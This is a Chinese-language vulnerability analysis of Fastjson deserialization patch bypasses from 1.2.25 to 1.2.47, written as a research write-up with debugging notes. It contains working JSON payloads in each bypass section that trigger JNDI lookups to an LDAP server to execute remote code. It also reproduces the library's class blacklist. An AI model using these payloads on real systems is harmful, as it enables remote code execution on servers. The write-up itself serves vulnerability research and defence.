Fastjson 反序列化漏洞分析 1.2.25-1.2.47
[toc]
写在前面
上一篇文,主要跟了下Fastjson中反序列化的逻辑,以及在1.2.22-1.2.24版本中
TemplatesImpl
和
JdbcRowSetImpl
两条链,这篇记录下各个版本的Bypass补丁和绕过的复现,打算后面再写篇文,整理下不出网如何利用Fastjson
Fastjson 1.2.25修复
修复改动:
- 自从1.2.25 起 autotype 默认为False
- 增加 checkAutoType 方法,在该方法中进行黑名单校验,同时增加白名单机制
修改pom.xml换成1.2.25版本的Fastjson
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.25</version></dependency>
首先对着1.2.25版本的fastjson打一发1.2.24版本的payload,看一下结果,已经打不成了。
先来把1.2.25jar包下下来,使用idea中
Compare With...
diff下源码看下如何修复的,在
DefaultJSONParser
类中多了一个
checkAutoType
方法检测
这里的话如果开了
autoType
会先走一个白名单
acceptList
的判断,如果当前
@Type
指定的要反序列化的类以
acceptList
数组中某一元素开头则直接
loadClass
去加载
但是因为默认白名单是空的,需要自己去
add
,所以走下面的黑名单
denyList
,黑名单如下:
"bsh""org.apache.commons.collections.functors""javax.xml""org.apache.commons.fileupload""com.sun.""org.apache.tomcat""org.springframework""java.lang.Thread""org.codehaus.groovy.runtime""org.apache.commons.beanutils""org.apache.commons.collections.Transformer""org.apache.wicket.util""java.rmi""java.net.Socket""com.mchange""org.jboss""org.hibernate""org.mozilla.javascript""org.apache.myfaces.context.servlet""org.apache.bcel""org.apache.commons.collections4.comparators""org.python.core"
而1.2.24 中我们用到的类是
com.sun.rowset.JdbcRowSetImpl
也在黑名单中,所以会抛出
auto type not support
异常
而如果没有开启
autoType
则会先走黑名单,如果指定类不在黑名单中再走白名单的判断,符合后再去
loadClass
该类
Fastjson 1.2.25-1.2.41 Bypass
先看第一种payload:需开启autoType
"{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}";
这个点其实上一篇文章有提到,调试看一下首先跟进到
checkAutoType
中,因为这次
@type
指定类写法变为
Lcom.sun.rowset.JdbcRowSetImpl;
所以可以很轻松的绕过黑名单
后续在
loadClass
方法中 ,满足了类名以
L
开头以
;
结尾,进而也可以调用到
loadClass
加载并返回class对象
L [ ; 这些字符是 JNI 字段描述符,可参考这篇文章
那因此,当
className
第一个字符为
[
时也同样可以进行绕过payload: 需开启autoType
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}
首先是通过
[
绕过黑名单进入
loadClass
,之后第一次读取完类名为
[com.sun.rowset.JdbcRowSetImpl
,loadClass之后变为
[Lcom.sun.rowset.JdbcRowSetImpl;
。而之后的
[{
判断分别在
JavaBeanDeserializer#deserialze
方法和
DefaultJSONParser#parseArray
方法中parseArray:需要当前有
[
才进入后续
deserialze
方法
后续在
deserialze
方法中,需要构造
{
。具体可参考这篇文章
当然这个payload是可以通杀1.2.25-1.2.43版本
Fastjson 1.2.25-1.2.42 Bypass
从1.2.42版本开始,在
ParserConfig
类中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单:https://github.com/LeadroyaL/fastjson-blacklist
payload:需开启autoType ,通过双写
L
和
;
进行绕过
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}
下面调试分析一下,还是跟进到
checkAutoType
方法开始看首先第一次处理时会先去掉一层
L
;
然后进行黑名单hash的比对,比对完成后进入loadClass方法
跟进后发现传递的参数依然是typeName而不是我们上面看到的className,那么看看下面是如何处理掉2层
L
和
;
的,首先依然是进入满足
L
开头
;
结尾的逻辑,之后通过递归的方式去处理的
className
,所以当第二次再进入
loadClass
方法时就会去除掉
L
和
;
以正常的类名去
loadClass
了
Fastjson 1.2.25-1.2.43 Bypass
在1.2.43版本时在
checkAutoType
方法添加了如下的判断,导致双写
L
,
;
无法绕过。所以在此版本下可以选择上面提到的,走入
[
的判断逻辑去触发JNDI
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {throw new JSONException("autoType is not support. " + typeName);}className = className.substring(1, className.length() - 1);}
payload:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}
Fastjson 1.2.25-1.2.45 Bypass
1.2.44版本对
[
的绕过payload做了限制,当第一个字符为
[
时抛出异常
payload:开启autoTyoe;需要目标服务端存在mybatis的jar包,且版本需为3.x.x-3.5.0的版本。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/Basic/TomcatEcho"}
该payload主要因为
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
不在黑名单中可绕过检测,因为传入
properties
会调用
setProperties
方法进而触发JNDI
Fastjson 1.2.25-1.2.47 通杀
这里有2个版本段
- 1.2.25-1.2.32版本:不能开启AutoType
- 1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用
payload
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}}
1.2.25-1.2.32 不能开启autoType
首先来看1.2.25-1.2.32不能开启AutoType
还是看到
checkAutoType
方法,因为没开启autotype所以不会进入黑白名单判断的逻辑,并且因为是jdk自带的Class类,所以可以找到
最终将其class对象直接return出来
之后调用
MiscCodec#deserialize
方法时,会去调用
loadClass
加载
JdbcRowSetImpl
,而strVal的值是在上面通过判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量。
跟进
loadClass
,最终会将className与class对象的映射缓存到mappings中
而再一次进入
checkAutoType
方法后,会先从mappings中拿出class对象赋值给clazz
后续直接return该class对象 ,从而绕过了检测
1.2.33-1.2.47 通杀
这里拿1.2.47做调试依旧是跟进到
checkAutoType
方法,和上面的部分一样,依旧是通过
findClass
可以找到
java.lang.Class
类,之后将其class对象return出来,之后就是将
JdbcRowSetImpl
缓存到mappings里
主要看第二次进入
checkAutoType
时的逻辑,主要是下面这个if。
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {throw new JSONException("autoType is not support. " + typeName);}
但是看网上文章都说是“满足”条件,这里我跟的时候发现这两个判断结果都为false,主要存在不同的是第二个点,这里我是开启autotype调试的,因为这里进入
checkAutoType
直接就进行了白+黑的检测,并没有调用getMapping,所以这里if中第二个条件为null,也即false,从而不会抛出异常
后续就没啥好说的了,和上面过程类似,从mappings中获取到
JdbcSetRowImpl
之后直接返回该class对象
为什么分成两个小版本段
我们来diff下1.2.32和1.2.33,看看具体变动在哪里,观察到
checkAutoType
方法在1.2.33之后多了
TypeUtils.getClassFromMapping(typeName) == null
,也就是在黑名单中也会从mappings获取类,也就是当前类在黑名单中且在mappings中没有,才会抛出异常;而在1.2.32之前,只是黑名单的判断,在黑名单中就抛异常,不在就不抛。
Fastjson 1.2.48版本修复
在TypeUtils#loadClass中禁止了cache的使用,那么通过先put到mappings中再等到第二次走checkAutoType时再调用TypeUtils.getClassFromMapping()来加载这种绕过黑名单的姿势就不能再用了
Reference
https://su18.org/post/fastjson/https://www.mi1k7ea.com/2019/11/10/Fastjson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94%E2%80%94%E5%8E%86%E5%8F%B2%E7%89%88%E6%9C%AC%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87%EF%BC%88%E9%9C%80%E5%BC%80%E5%90%AFAutoType%EF%BC%89/https://xz.aliyun.com/t/9052https://www.geek-share.com/detail/2832219080.html